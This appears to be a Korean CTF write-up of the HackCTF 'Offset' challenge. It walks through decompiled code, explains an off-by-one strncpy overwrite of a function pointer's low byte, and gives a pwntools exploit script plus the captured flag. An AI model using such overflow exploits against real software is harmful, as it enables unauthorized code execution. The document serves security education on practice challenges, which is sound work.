-
OffsetCTF/HackCTF 2021. 1. 21. 04:11
Disassembly 디스어셈블리
undefined4 main(void) { int32_t unaff_EBX; char acStack47 [4]; char *s; undefined *puStack16; int32_t var_8h; puStack16 = &stack0x00000004; __x86.get_pc_thunk.bx(); setvbuf(**(undefined4 **)(unaff_EBX + 0x1801), 2, 0, 0); puts(unaff_EBX + 0x155); gets(acStack47); select_func(acStack47); return 0; }
main()은 acStack47에 문자열을 입력받고 이를 인자로 select_func를 호출한다.
void select_func(char *src) { int32_t iVar1; int32_t unaff_EBX; char *dest; int32_t var_ch; int32_t var_4h; __x86.get_pc_thunk.bx(); var_ch = unaff_EBX + -0xde; strncpy(&dest, src, 0x1f); iVar1 = strcmp(&dest, unaff_EBX + 0x1b8); if (iVar1 == 0) { var_ch = unaff_EBX + -0x37; } (*(code *)var_ch)(); return; }
select_func()는 겉으로 봐서는 strcmp의 결과에 따라 두가지 함수 중 하나를 호출하는 것으로 보인다.
Off by One
그러나 어셈블리를 들여다보면 상황이 다르다. select_func()이 호출할 함수의 주소는 var_ch에 저장되어 있는데, 이는 ebp-0xc에 자리하기 때문에 ebp-0x2a에 자리하는 dest와 0x1e 바이트만큼 차이가 나고, strncpy()에서 dest부터 0x1f 바이트만큼 입력을 받기 때문에 var_ch의 하위 1바이트가 바뀌게 된다.
strncpy()에서 source는 main()에서 입력받은 문자열과 같으므로, 0x1f번째 문자를 원하는 값으로 입력함으로써 select_func()이 호출할 함수를 결정할 수 있다.
gdb를 통해 var_ch의 값을 추적한 결과 하위 1바이트가 0xd8로 덮어씌워지면 print_flag()라는 함수를 호출하는 것을 확인할 수 있다. 따라서 표준 입력으로 0x1e바이트의 더미와 "\xd8"을 전송해 주면 문제를 flag가 출력되면서 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./Offset" server = "ctf.j0n9hyun.xyz" port = 3007 # context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) # gdb.attach(p) e = ELF(binary) payload = b"A"*0x1e + b"\xd8" p.sendline(payload) p.interactive()
Flag
HackCTF{76155655017129668567067265451379677609132507783606}
'CTF > HackCTF' 카테고리의 다른 글
Yes or no (0) 2021.01.21 BOF_PIE (0) 2021.01.21 Simple_Overflow_ver_2 (0) 2021.01.21 x64 Simple_size_BOF (0) 2021.01.21 x64 Buffer Overflow (0) 2021.01.21